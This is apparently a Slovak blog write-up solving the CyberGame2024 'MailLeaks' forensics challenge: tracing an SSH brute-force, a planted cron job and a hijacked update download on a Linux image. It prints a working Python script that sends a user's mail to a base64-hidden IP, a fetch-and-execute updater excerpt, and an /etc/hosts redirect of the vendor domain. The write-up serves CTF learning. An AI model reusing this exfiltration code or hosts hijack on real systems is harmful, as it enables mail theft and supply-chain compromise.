26. 6. 2024

CTF - CyberGame2024 - MailLeaks

V sekcii "Forensics" tohto ročníka súťaže CyberGame sa nachádzala téma "MailLeaks".

Forenzná analýza - hráči hľadajú v dátach z postihnutých počítačov digitálne stopy, ktoré ich privedú k vlajke

2.1 Destination

Pred niekoľkými dňami sme boli hacknutí, skontrolovali sme systém na malware pomocou antivírusu, ale nič sme nenašli, ale zrazu nám začala unikať pošta. Ako došlo k úniku pošty a na akú IP sa odoslala?
Vlajka je IP adresa, na ktorú boli e-maily odoslané.

Stiahol som si zo zadania súbor files.tar.gz, po rozbalení gz má tar súbor 3,1GB. Obsahuje image linuxového filesystému Ubuntu 22.04LTS.
Tento .tar sa dá bez ďalšieho rozbalenia množstva súborov priamo prechádzať napr v Midnight Commanderi.
Ako prvé preskúmam jediný používateľský adresár /home/bob. V .profile ani .bashrc nie je nič podozrivé. V .bash_history je vidieť, že tento súbor niekto vyčistil. Následne sa pozrel do /var/log/auth.log a potom zmenil svoje (bob) heslo.

Pozrel som preto /var/log/auth.log, vidieť tu opakované pokusy (slovníkový útok?) o prelomenie hesla pre bob používateľa, až po úspešné prihlásenie sa útočníka:
Mar 26 12:46:58 mail sshd[76661]: Accepted password for bob from 198.18.14.145 port 61433 ssh2

Nasledujú záznamy s pokusmi o "sudo vi /var/logs/auth.log" (preklep) a "sudo vi /var/log/auth.log" o 12:47:21.
Vyzerá, že 27.3. o 2:23 sa prihlásil skutočný majiteľ konta bob z lokálnej siete (192.168...) a spravil nález.

Veľmi ma to síce neposunulo ďalej, viem však, že ma zaujímajú posledné zmeny na filesystéme, tie budú najskôr útočníkove. Zoradím si teda v Midnight Commanderi cez menu adresáre podľa "modify time" a vidím, že 26.3. boli modifikované adresáre /home, /root a /etc.

Súbory používateľa /home/bob nič zaujímavého neobsahovali, v adresári /root však vidieť v súbore .viminfo modifikácie cez editor vim v takomto poradí:
        /etc/ssh/sshd_config
        /var/logs/auth.log
        /etc/hosts
        /var/log/auth.log

Ako však vidieť (a je to logické), to naozaj zaujímavé sa muselo udiať v /etc.
Je tu síce veľa modifikácií zo dňa 26.3., avšak viem, že útočník sa úspešne pripojil až 12:47. Preto viem, že sshd_config zmenený skôr nebude upravený útočníkom (MaxAuthTries 1000).

V súbore /etc/hosts je jediný záznam ku updatom tento, to však nie je správna odpoveď:
80.211.208.80 best-upgrades-around.online

Pozerám ďalšie zmeny a skoro všetky sú z času 14:06 a súvisia s inštaláciou antivíru ClamAV.

Posledná zmena v /etc je za 27.mar 03:23 je v skripte:
        /etc/cron.daily/health-check

Zdrojový kód skriptu je v jazyku Python a vyzerá, že preposiela Bobove maily na pevne zadanú zakódovanú IP adresu TARGET_IP:
#!/usr/bin/env python3

import os
import socket
import base64

MAIL_DIR = "/var/mail/"
USER_MAIL = "bob"
TARGET_IP = "MTk4LjE4LjEyLjEy"
TARGET_PORT = 12345

def read_mail(user_mail):
    mail_path = os.path.join(MAIL_DIR, user_mail)
    try:
        with open(mail_path, 'r') as mail_file:
            return mail_file.read()
    except FileNotFoundError:
        return None

def send_mail(mail_content, target_ip, target_port):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        try:
            sock.connect((base64.b64decode(target_ip).decode(), target_port))
            sock.sendall(mail_content.encode())
        except Exception as e:
            pass

if __name__ == "__main__":
    mail_content = read_mail(USER_MAIL)
    if mail_content:
        send_mail(mail_content, TARGET_IP, TARGET_PORT)

Kód preložím z base64 napr cez CyberChef, alebo príkazom, získam IP ktorá je vlajkou:
echo "MTk4LjE4LjEyLjEy" | base64 -d
198.18.12.12

2.2 Regular


Ako sa tento súbor dostal do nášho systému?
Vlajka je názov zdrojového súboru, z ktorého bol tento skript vytvorený.

Máme vypátrať, odkiaľ prišiel súbor health-check, skript denne spúšťaný z Cronu.
Hľadám posledné zmeny v skriptoch a binárkach a nájdem jediný súbor /usr/bin/upgrade z času po 26.3.

...
    with requests.get("http://best-upgrades-around.online/firmware-upgrade.zip", stream=True) as response:
...

...
os.system("mkdir -p /usr/local/upgrade/downloads/")
os.system("mkdir -p /usr/local/upgrade/extracted/")
download_firmware_zip()
in_file = open("/usr/local/upgrade/downloads/firmware-upgrade.zip", "rb")
data = in_file.read()
in_file.close()

chunks = split_binary_stream(data, "\x50\x4b\x03\x04\x14")

for chunk in chunks:
    try:
        for file in extract_zip_from_data(chunk):
            if os.path.isfile("/usr/local/upgrade/extracted/"+file[0]):
                continue
            with open("/usr/local/upgrade/extracted/"+file[0], "wb") as binary_file:
                binary_file.write(file[1])
    except:
        pass

os.system("chmod +x /usr/local/upgrade/extracted/upgrade")
os.system("/usr/local/upgrade/extracted/upgrade")
os.system("rm -rf /usr/local/upgrade/extracted/")

Skript je písaný v jazyku Python a sťahuje súbor z adresy http://best-upgrades-around.online/firmware-upgrade.zip, uloží ho do adresára /usr/local/upgrade/downloads/

Potom spraví to, že stiahnutý .zip súbor naseká podľa oddeľovačov a každý blok dát rozbalí do cieľového adresára /usr/local/upgrade/extracted/.
Vytiahnutý súbor "upgrade" spustí a hneď zmaže.

Vlajka teda je upgrade


2.3 Location


Prosím, analyzujte obsah tohto súboru.

Z .tar archívu si vytiahnem súbor /usr/local/upgrade/downloads/firmware-upgrade.zip. Keď ho rozbalím, vidím len súbor so skriptom "upgrade" ktorý už poznám.
Samozrejme, keď som pozrel do adresára /usr/local/upgrade, podadresár extracted neexistuje (bol zmazaný skriptom).

Oddeľovač ktorý Python použije na nasekanie stiahnutého .zip súboru obsahuje 5 znakov, prvé dva su "PK" čo mi niečo pripomína. A naozaj, všetkých 5 znakov je súčasť hlavičky zip súborov.
Jedná sa teda o "zlepené" .zip súbory za sebou, teda treba skúsiť rozbaliť ich každý zvlášť. 
Na analýzu zlepencov je dobrý program binwalk.

        binwalk firmware-upgrade.zip

DECIM HEXADEC DESCRIPTION
--------------------------------------------------------------------------------
0     0x0    Zip archive data, at least v2.0 to extract, compressed size: 491, uncomp.: 788, name: readme.txt
559   0x22F  Zip archive data, at least v1.0 to extract, compressed size: 830, uncomp.: 830, name: health-check
1459  0x5B3  Zip archive data, at least v1.0 to extract, compressed size: 77, uncomp.: 77, name: upgrade
1541  0x605  Unix path: /usr/local/upgrade/extracted/health-check" /etc/cron.daily/
1840  0x730  End of Zip archive, footer length: 22
1862  0x746  Zip archive data, at least v2.0 to extract, compressed size: 176, uncomp.: 259, name: upgrade
2180  0x884  End of Zip archive, footer length: 22

Vidím teda, že naozaj obsahuje 3 zip súbory, readme.txt, health-check a upgrade.
Rozbalím ho teda cez:

        binwalk -e firmware-upgrade.zip

Vytvorí podadresár _firmware-upgrade.zip.extracted, v ňom sú hore spomenuté súbory. 
Pozriem do súboru readme.txt a tam máme base64 vlajku:
Base64:U0stQ0VSVHtoMWRkM25fejFwfQ==

TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdC4gVXQgc2FnaXR0aXMsIHJpc3VzIGFjIHB1bHZpbmFyIGRhcGlidXMsIG1ldHVzIG1hdXJpcyBzb2RhbGVzIHZlbGl0LCBhdCB2ZXN0aWJ1bHVtIG1pIGV4IGVnZXQgdXJuYS4gU2VkIGlkIGNvbnZhbGxpcyBsaWJlcm8sIGV0IGx1Y3R1cyBuZXF1ZS4gTmFtIGFjIHRlbGx1cyBsb3JlbS4gUGhhc2VsbHVzIGV0IHB1bHZpbmFyIGxlY3R1cy4gU2VkIGxpYmVybyBtYXVyaXMsIG9ybmFyZSBhIHZlbGl0IGVnZXQsIGVmZmljaXR1ciB2aXZlcnJhIHNhcGllbi4gRG9uZWMgcXVpcyBlZ2VzdGFzIG51bmMuIFNlZCBhYyBkaWduaXNzaW0gbnVsbGEuIE1hdXJpcyBuaXNsIG1pLCBlZmZpY2l0dXIgc2l0IGFtZXQgbGFjdXMgaWQsIGVnZXN0YXMgY29uZ3VlIGR1aS4gU2VkIGRhcGlidXMgbGFjaW5pYSBlbGl0LCBzaXQgYW1ldCBzb2RhbGVzIGxvcmVtIHByZXRpdW0gdXQuIE51bGxhbSBlZmZpY2l0dXIgc2FnaXR0aXMgbmVxdWUsIGF0IHRpbmNpZHVudCBkaWFtIGZyaW5naWxsYSBzaXQgYW1ldC4KCg
SK-CERT{h1dd3n_z1p}


2.4 Utility


Zistili ste, že súbor obsahuje skrytý archív zip. Dá sa nejako zistiť, ktorý program tento súbor dekomprimoval a spustil? Vlajka je full path k programu.

V bode 2 som dopátral /usr/bin/upgrade
Spustí sa pravidelne pri štartovaní služby /etc/systemd/system/upgrade.service.


2.5 Final


To je náš systém aktualizácie od nášho dodávateľa, ako je možné, že stiahol tento súbor? Náš dodávateľ je dôveryhodný! Vlajka je názov_súboru:riadok, ktorý je za to zodpovedný.

Ako som už zistil, upgrade súbor sa sťahuje z adresy:
http://best-upgrades-around.online/firmware-upgrade.zip

Po opätovnom stiahnutí ale tento zip obsahuje len legitímny súbor upgrade, ktorý stiahne z rovnakej adresy súbor latest-upgrade-commands. Neobsahuje health-check a readme.txt.

Čo sa teda zmenilo? Táto doména sa nachádza aj v čase o 13:51 upravovanom (hodinu po prelomení hesla) súbore /etc/hosts:
127.0.0.1 localhost
127.0.1.1 mail

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
80.211.208.80 best-upgrades-around.online

Doména je pridaná na koniec s IP adresou, skúšal som pingnúť a nesedí voči reálnemu prekladu. Na tejto upravenej IP je vložený väčší zip od útočníka.

Vlajka je /etc/hosts:10 


* v prípade tejto úlohy bolo priam nevyhnutné poznať štruktúru FS linuxu
* súbory .viminfo poskytli veľkú pomoc, mal som ich nájsť ?
* konfigurácia ssh nebola najlepšia - dôvod prečo útočník mohol použiť slovník

Žiadne komentáre:

Zverejnenie komentára